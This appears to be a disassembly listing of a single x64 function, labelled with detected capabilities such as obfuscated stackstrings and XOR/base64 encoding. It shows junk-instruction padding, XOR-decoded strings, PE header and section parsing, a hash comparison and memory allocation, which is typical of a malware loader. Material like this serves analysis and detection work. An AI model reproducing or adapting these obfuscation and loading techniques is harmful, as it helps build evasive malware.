Function at 0x2edd84e80
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rsi, rcx
push rcx
paddd mm0, mm7
push r9
neg cl
or ecx, r9d
push r8
inc r9
rol r9w, 4
rcr cx, 0xe
push rdx
nop
maxps xmm7, xmm1
rcpss xmm3, xmm1
shl edx, 8
pop rdx
sbb cx, r9w
subps xmm8, xmm0
movlhps xmm11, xmm0
pop r8
psllq mm6, 0x68
sbb r9w, cx
pop r9
maxps xmm11, xmm12
pop rcx
call sym.BringDouble.dll_BuffExtraDialogPrinter
xor eax, eax
mov qword [rsp + 0x30], rax
cmp r13b, 5
jne 0x2edd84ef7
push r10
inc r10d
pop r10
jmp 0x2edd84eff
push r13
sar r13b, 0xd
pop r13
push r12
pxor mm7, mm4
pop r12
push rax
inc eax
push r14
nop
emms
push r13
psrlw mm0, 0x26
dec eax
not rax
pop r13
sub r14w, 0x11
mulps xmm14, xmm3
pop r14
maxss xmm7, xmm5
pop rax
lea rdx, [fcn.2edd84e80]
lea r8, [rsp + 0x30]
mov ecx, 6
call fcn.2edd80b98
mov rdi, rax
movabs rax, 0x6d00710048
mov qword [rsp + 0x38], rax
push r10
rcr r10d, 0x17
push rdx
and dl, r10b
push r14
rcl r10b, 8
pop r14
rcr dx, 0xc
pop rdx
punpcklbw mm5, mm7
pop r10
mov dword [rsp + 0x2a], 0x750030
mov word [rsp + 0x2e], 0
push r10
subss xmm15, xmm3
push r15
sub r15w, r10w
push rcx
rcr rcx, 0x13
push r11
psrlq mm2, 0x19
push r12
emms
pop r12
emms
pop r11
pcmpeqw mm3, mm1
pop rcx
xchg r15w, r10w
pop r15
nop
pop r10
lea rbx, [rsp + 0x2a]
lea rbp, [rsp + 0x38]
mov rdx, rbx
mov rcx, rbp
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x2edd84fdf
push r13
psrlw mm2, 0x23
psrld mm7, 0x1c
push r8
emms
pop r8
nop
addps xmm11, xmm6
pop r13
jmp 0x2edd8501a
push r12
emms
neg r12w
push r9
shr r9d, 7
ror r12d, 0x15
push r14
emms
andnps xmm0, xmm5
push rdx
psrlq mm7, 0x2f
movhlps xmm10, xmm0
pop rdx
psraw mm1, 0x2e
paddusw mm1, mm6
pop r14
psrlw mm5, 0x2e
psllq mm4, 0x3b
pop r9
emms
nop
pop r12
cmp r13, r12
jne 0x2edd85048
push r9
psrlw mm3, 0x43
push r8
pmulhuw mm0, mm7
sar r8w, 3
pop r8
emms
pop r9
jmp 0x2edd8505f
push r10
not r10b
push r13
and r10b, r13b
not r13w
pop r13
subss xmm1, xmm13
pop r10
push r11
shr r11, 0x14
push rbx
nop
nop
pop rbx
packsswb mm6, mm5
pop r11
test edi, edi
je 0x2edd85128
push rbx
ror bx, 2
rol bx, 0x17
neg bl
push r8
sbb bx, 0x13
xadd bx, r8w
pslld mm7, 0x2e
push rcx
nop
nop
pminsw mm6, mm1
pop rcx
psrlq mm7, 0x3c
pslld mm3, 0x14
rcr bx, 0xd
pop r8
psllq mm7, 9
nop
nop
pop rbx
call sym.BringDouble.dll_DownloadRequestContextDiv
mov rdi, qword [rsp + 0x30]
push r12
pslld mm2, 0x1a
nop
dec r12d
por mm7, mm1
subps xmm7, xmm6
push r10
psrad mm2, 0x33
movlhps xmm1, xmm9
sar r10b, 0x16
nop
push r13
paddw mm3, mm4
pcmpgtd mm5, mm1
not r12
push rcx
punpcklbw mm7, mm3
ror r13d, 8
push r11
pcmpgtd mm1, mm4
pop r11
mov r12b, r10b
inc r10
pop rcx
nop
shl r12w, 0x17
inc r12d
pop r13
inc r12
movlhps xmm4, xmm15
inc r12
comiss xmm4, xmm6
pop r10
psrld mm0, 0x1f
psllq mm6, 0x3e
nop
psrlq mm7, 0x4a
sar r12, 0xd
pop r12
jmp 0x2edd851e5
push r13
maxss xmm7, xmm13
psubsb mm5, mm3
push r14
packuswb mm2, mm5
pop r14
movaps xmm14, xmm12
inc r13
pop r13
mov ecx, 0xa
call sub.msvcrt.dll_malloc
mov rcx, rax
push rbx
mov rbx, 1
push rax
neg rax
rol al, 0xc
psrld mm0, 0x64
pandn mm7, mm6
maxps xmm12, xmm8
sbb al, 0xb
pcmpeqd mm6, mm5
pop rax
dec rbx
jne 0x2edd85157
pop rbx
mov edx, 0x5a
call sub.msvcrt.dll_realloc
mov rcx, rax
xor eax, eax
push rdx
psrlw mm7, 0x54
push rbx
nop
push r15
psraw mm7, 0x30
pop r15
psrlq mm2, 0x3d
pop rbx
nop
pop rdx
xor word [rcx + rax*2], 0x36
push r15
rcpps xmm1, xmm9
push rcx
psllq mm6, 0x5d
rol r15, 0x11
pop rcx
emms
pop r15
inc rax
cmp rax, 5
jne 0x2edd85184
call sub.msvcrt.dll_free
push r15
emms
push rbx
xorps xmm6, xmm8
push r12
cmp r12, rbx
pop r12
addps xmm6, xmm11
pop rbx
rcl r15w, 1
pop r15
xor ecx, ecx
xor edi, edi
call fcn.2edd7998b
mov dword [rsp + 0x2a], 0x5d5d534e
mov byte [rsp + 0x2e], 0
push r15
shl r15, 0x16
psrlq mm2, 0x3c
xorps xmm4, xmm14
nop
psraw mm2, 0x35
mulps xmm6, xmm2
emms
pop r15
mov dword [rsp + 0x38], 0x2d5e237a
mov word [rsp + 0x3c], 0x6e
push rcx
psrlw mm1, 0x32
nop
emms
push r13
psraw mm2, 0x40
nop
shl rcx, 0x15
push rax
nop
and cx, ax
push r9
packsswb mm6, mm3
movlhps xmm14, xmm2
pop r9
dec r13
sbb ecx, r13d
emms
pop rax
not rcx
nop
pop r13
andnps xmm0, xmm4
rcpss xmm11, xmm10
pop rcx
mov rdx, rbp
mov rcx, rbx
call sub.msvcrt.dll__mbscmp
test eax, eax
jne 0x2edd852ce
mov rax, rbx
lea rdx, [rsp + 0x2e]
push r15
psraw mm4, 0x52
subps xmm11, xmm10
emms
push rbx
psllq mm5, 0x20
adc rbx, r15
push r13
andnps xmm7, xmm11
pop r13
psrld mm3, 0xc
pslld mm4, 0x61
pop rbx
mov r15w, 0x14
nop
psrlw mm6, 0x5e
pop r15
xor byte [rax], 0x53
push rax
mov rax, 2
push r14
dec r14
psllq mm4, 0x43
push rbx
pxor mm0, mm4
pop rbx
nop
psllq mm7, 0x29
pop r14
dec rax
jne 0x2edd852a9
pop rax
inc rax
cmp rax, rdx
jne 0x2edd8526d
jmp 0x2edd8530d
cmp r13w, r14w
jne 0x2edd852ea
push r11
subss xmm6, xmm7
push rdx
emms
psllq mm2, 0x60
pop rdx
psrlq mm5, 0x60
pop r11
jmp 0x2edd852f9
push r9
nop
push rbx
nop
not r9
pop rbx
psrlq mm6, 0x55
pop r9
push r14
emms
push r12
not r12d
rcl r12w, 0x17
pop r12
emms
pop r14
push r15
not r15d
push r8
nop
xor r15w, r8w
push rax
emms
shr r15, 3
sub eax, 0xc
pop rax
inc r8
pslld mm3, 0x5d
pop r8
mov r15b, 0xc
pop r15
push r8
sar r8d, 0xb
sbb r8d, 1
pand mm0, mm7
rcl r8d, 8
nop
punpckhwd mm5, mm7
sbb r8b, 0xe
pop r8
movsxd rbx, dword [rdi + 0x3c]
add rbx, rdi
push rcx
inc ecx
subss xmm9, xmm8
push r15
psraw mm7, 0x59
pop r15
emms
sub rcx, 0xe
pop rcx
call fcn.2edd8413b
push rdx
psraw mm1, 0x1b
psraw mm4, 0x5b
neg rdx
dec edx
sbb edx, 0x14
pmaddwd mm5, mm3
punpckhwd mm3, mm4
nop
rcpss xmm3, xmm8
emms
pcmpgtw mm2, mm7
psubsb mm4, mm5
pop rdx
call sym.BringDouble.dll_ClientInitiateDateDeregister
push r12
psrad mm6, 0x12
neg r12w
pslld mm6, 8
emms
nop
push r14
emms
emms
emms
rol r12b, 8
neg r14w
pop r14
neg r12b
rol r12w, 4
punpckhwd mm7, mm1
pcmpeqd mm7, mm0
psraw mm3, 0x62
dec r12d
pop r12
mov edx, 4
mov ecx, 2
call sub.msvcrt.dll_calloc
mov rcx, rax
push r15
nop
push r14
psrlw mm0, 0x5c
emms
pop r14
psrlq mm6, 0x59
pop r15
mov edx, 0x48
call sub.msvcrt.dll_realloc
mov rcx, rax
xor eax, eax
push rax
pmullw mm0, mm3
addss xmm2, xmm14
push r11
addss xmm10, xmm6
psllq mm7, 0x4c
push rbx
dec r11
nop
push r13
ror rax, 0x13
pandn mm3, mm0
push r8
emms
pmaxsw mm2, mm4
pop r8
sbb rbx, 0x17
adc r11d, eax
pop r13
psrlw mm4, 0x66
emms
pop rbx
andps xmm6, xmm14
pminsw mm0, mm7
pop r11
andps xmm2, xmm6
inc rax
pop rax
xor dword [rcx + rax*4], 0x99
cmp r13b, 3
jne 0x2edd85469
push r13
emms
pop r13
jmp 0x2edd85471
push r15
psllq mm4, 0x63
pop r15
push r8
psraw mm7, 0x40
pop r8
test rax, rax
jne 0x2edd85485
mov eax, 1
jmp 0x2edd85409
call sub.msvcrt.dll_free
push r15
nop
push r12
psrlq mm3, 0x24
push r14
emms
push r10
nop
push rbx
emms
push r9
pcmpgtd mm1, mm2
pop r9
emms
pop rbx
nop
pop r10
test r15, r14
pop r14
not r15w
pop r12
pcmpeqd mm0, mm6
pop r15
push r10
subss xmm12, xmm11
push r13
pcmpeqw mm2, mm7
nop
push r8
mulss xmm14, xmm12
emms
mov r8d, 6
push r12
not r13d
neg r13
neg r12d
or r13, r10
push rcx
minps xmm13, xmm14
punpckhbw mm1, mm5
dec rcx
addps xmm11, xmm13
rcpss xmm11, xmm3
pop rcx
nop
movups xmm14, xmm7
psubusw mm5, mm4
nop
pop r12
movhlps xmm5, xmm6
nop
emms
pop r8
emms
nop
pop r13
psrld mm1, 0x2b
pop r10
mov ecx, 0x10
call sub.msvcrt.dll_malloc
mov rcx, rax
push r9
dec r9
push r10
rcpps xmm4, xmm0
push rcx
emms
push r14
dec r10d
pop r14
or r9w, cx
pop rcx
add r10b, r9b
pop r10
ror r9b, 0xd
pop r9
mov edx, pe_nt_image_headers64
call sub.msvcrt.dll_realloc
mov rcx, rax
xor eax, eax
push rdx
addps xmm2, xmm3
psllq mm5, 0x2e
sar dl, 5
push r13
psrld mm0, 0x3b
pmulhuw mm2, mm0
emms
push r11
andnps xmm3, xmm8
sbb r13d, 0x12
push rax
add dl, r11b
pmullw mm0, mm5
pop rax
dec r13
nop
sub r11, 0xb
pop r11
emms
nop
pop r13
psrad mm2, 0x37
nop
pop rdx
xor dword [rcx + rax*4], 0x67
push r12
mov r12, 2
push r12
inc r12
push r10
cmp r10b, r12b
push r8
psrld mm0, 0x14
push r11
psllq mm7, 0x47
push r14
emms
push rbx
nop
pop rbx
sbb r11b, r10b
pop r14
psrld mm2, 0x21
pop r11
psraw mm3, 0x63
pop r8
mulss xmm15, xmm13
pop r10
emms
pop r12
dec r12
jne 0x2edd855a1
pop r12
inc rax
cmp rax, 4
jne 0x2edd85557
call sub.msvcrt.dll_free
push r8
inc r8
push r13
emms
shr r8, 0xd
pop r13
rcl r8b, 8
pop r8
xor r13d, r13d
lea r12, [rbx + 0x108]
lea r14, [rsp + 0x3c]
movzx eax, word [rbx + 6]
cmp eax, r13d
jle 0x2edd85932
mov dword [rsp + 0x38], 0x4f344724
mov byte [rsp + 0x3c], 0
push r10
pslld mm2, 0x66
push r15
xor r10d, r15d
push r8
pcmpeqd mm2, mm6
push r14
inc r15
push rax
nop
pop rax
pslld mm5, 0x13
pop r14
emms
pop r8
emms
pop r15
shr r10, 9
pop r10
mov rcx, rbp
call sub.msvcrt.dll_strlen
cmp rax, 4
jne 0x2edd85761
mov rax, rbp
push r12
pslld mm7, 0x2f
emms
psllq mm7, 0x3f
punpckldq mm4, mm2
not r12b
pslld mm4, 0x3a
nop
emms
andps xmm2, xmm6
inc r12d
punpckhbw mm5, mm0
psrlw mm4, 0x44
pop r12
xor byte [rax], 0x30
cmp r13b, r8b
jne 0x2edd85708
push rbx
inc rbx
nop
nop
psrlw mm4, 0x10
push rax
psraw mm1, 0x13
nop
emms
paddsb mm1, mm7
pop rax
neg rbx
nop
psrlq mm4, 0x5e
psubw mm4, mm7
pop rbx
jmp 0x2edd8573b
push r11
movss xmm15, xmm3
push rbx
emms
push r8
mov r11d, r8d
push r14
psrad mm1, 0x67
push rdx
psllq mm6, 0x14
pop rdx
rcl r14w, 0xd
pop r14
andnps xmm8, xmm14
pop r8
ucomiss xmm11, xmm1
pop rbx
pslld mm0, 0x36
pop r11
push r11
emms
nop
emms
movaps xmm10, xmm14
rcl r11b, 0x12
neg r11w
pmaxub mm3, mm2
pop r11
inc rax
cmp rax, r14
jne 0x2edd85672
jmp 0x2edd8579e
push r13
nop
push r9
packsswb mm7, mm2
sub r13w, r9w
push rdx
psadbw mm1, mm2
punpcklbw mm0, mm7
dec r9d
push rbx
pmaddwd mm4, mm5
nop
psrad mm3, 0x27
psrlw mm5, 0x18
pop rbx
neg r9b
addps xmm13, xmm10
packsswb mm0, mm2
pop rdx
xchg r13b, r9b
not r9
pop r9
psrad mm4, 0x59
pop r13
push rdx
emms
push r8
addps xmm7, xmm6
push r10
emms
push rax
rcl dx, 4
pop rax
dec rdx
pop r10
rcpss xmm9, xmm12
pop r8
pmullw mm3, mm4
pop rdx
mov rcx, r12
mov r15, r12
add r12, 0x28
call fcn.2edd74467
cmp eax, 0xc205742b
jne 0x2edd858ef
cmp r13b, 5
jne 0x2edd857ef
push r10
inc r10d
pop r10
jmp 0x2edd857f7
push r13
sar r13b, 0xd
pop r13
push r12
pxor mm7, mm4
pop r12
mov eax, dword [r15 + 0xc]
lea rdi, [rdi + rax + 0x24182]
push r13
maxss xmm7, xmm13
psubsb mm5, mm3
push r14
packuswb mm2, mm5
pop r14
movaps xmm14, xmm12
inc r13
pop r13
mov ecx, 0xa
call sub.msvcrt.dll_malloc
mov rcx, rax
push rbx
mov rbx, 1
push rax
neg rax
rol al, 0xc
psrld mm0, 0x64
pandn mm7, mm6
maxps xmm12, xmm8
sbb al, 0xb
pcmpeqd mm6, mm5
pop rax
dec rbx
jne 0x2edd85839
pop rbx
mov edx, 0x5a
call sub.msvcrt.dll_realloc
mov rcx, rax
xor eax, eax
push rdx
psrlw mm7, 0x54
push rbx
nop
push r15
psraw mm7, 0x30
pop r15
psrlq mm2, 0x3d
pop rbx
nop
pop rdx
xor word [rcx + rax*2], 0x36
push r15
rcpps xmm1, xmm9
push rcx
psllq mm6, 0x5d
rol r15, 0x11
pop rcx
emms
pop r15
inc rax
cmp rax, 5
jne 0x2edd85866
call sub.msvcrt.dll_free
push r15
emms
push rbx
xorps xmm6, xmm8
push r12
cmp r12, rbx
pop r12
addps xmm6, xmm11
pop rbx
rcl r15w, 1
pop r15
push r14
emms
nop
rcr r14, 0x13
push rbx
emms
mov r14w, bx
push rax
pcmpgtb mm4, mm3
pop rax
nop
or ebx, r14d
pop rbx
pcmpgtw mm5, mm0
rcl r14d, 0xe
emms
pop r14
call sym.BringDouble.dll_ConnectionsSetupFrom
mov ebx, 0xee2b7
jmp 0x2edd85936
push rbx
ror bx, 2
rol bx, 0x17
neg bl
push r8
sbb bx, 0x13
xadd bx, r8w
pslld mm7, 0x2e
push rcx
nop
nop
pminsw mm6, mm1
pop rcx
psrlq mm7, 0x3c
pslld mm3, 0x14
rcr bx, 0xd
pop r8
psllq mm7, 9
nop
nop
pop rbx
call sym.BringDouble.dll_DownloadRequestContextDiv
inc r13d
jmp 0x2edd85617
xor ebx, ebx
xor edi, edi
push r9
psrld mm6, 0x11
emms
push r13
psrad mm7, 0x11
pop r13
psraw mm2, 0x10
rcpps xmm4, xmm8
pop r9
call sym.BringDouble.dll_SetAboutTabbedOpt
mov qword [rsi + 8], rbx
push r10
subss xmm12, xmm11
push r13
pcmpeqw mm2, mm7
nop
push r8
mulss xmm14, xmm12
emms
mov r8d, 6
push r12
not r13d
neg r13
neg r12d
or r13, r10
push rcx
minps xmm13, xmm14
punpckhbw mm1, mm5
dec rcx
addps xmm11, xmm13
rcpss xmm11, xmm3
pop rcx
nop
movups xmm14, xmm7
psubusw mm5, mm4
nop
pop r12
movhlps xmm5, xmm6
nop
emms
pop r8
emms
nop
pop r13
psrld mm1, 0x2b
pop r10
mov ecx, 0x10
call sub.msvcrt.dll_malloc
mov rcx, rax
push r9
dec r9
push r10
rcpps xmm4, xmm0
push rcx
emms
push r14
dec r10d
pop r14
or r9w, cx
pop rcx
add r10b, r9b
pop r10
ror r9b, 0xd
pop r9
mov edx, pe_nt_image_headers64
call sub.msvcrt.dll_realloc
mov rcx, rax
xor eax, eax
push rdx
addps xmm2, xmm3
psllq mm5, 0x2e
sar dl, 5
push r13
psrld mm0, 0x3b
pmulhuw mm2, mm0
emms
push r11
andnps xmm3, xmm8
sbb r13d, 0x12
push rax
add dl, r11b
pmullw mm0, mm5
pop rax
dec r13
nop
sub r11, 0xb
pop r11
emms
nop
pop r13
psrad mm2, 0x37
nop
pop rdx
xor dword [rcx + rax*4], 0x67
push r12
mov r12, 2
push r12
inc r12
push r10
cmp r10b, r12b
push r8
psrld mm0, 0x14
push r11
psllq mm7, 0x47
push r14
emms
push rbx
nop
pop rbx
sbb r11b, r10b
pop r14
psrld mm2, 0x21
pop r11
psraw mm3, 0x63
pop r8
mulss xmm15, xmm13
pop r10
emms
pop r12
dec r12
jne 0x2edd85a40
pop r12
inc rax
cmp rax, 4
jne 0x2edd859f6
call sub.msvcrt.dll_free
push r8
inc r8
push r13
emms
shr r8, 0xd
pop r13
rcl r8b, 8
pop r8
mov r9d, 4
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call fcn.2edd7399a
mov qword [rsi], rax
push r14
emms
dec r14d
paddd mm6, mm7
psrlw mm0, 0x31
push r13
shr r13, 8
psrad mm2, 0x43
nop
nop
pop r13
nop
not r14
nop
pmaxsw mm6, mm1
pop r14
mov rdx, qword [rsi + 8]
mov rcx, qword [rsi]
mov r8, rdi
mov r9, rdx
call fcn.2edd814d3
push rax
rcpss xmm0, xmm7
neg rax
neg ax
not rax
push r15
psrad mm6, 0xa
andnps xmm15, xmm1
psubusw mm3, mm7
nop
pop r15
ucomiss xmm4, xmm11
nop
psubusw mm1, mm2
emms
pop rax
call fcn.2edd83fa7
nop
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret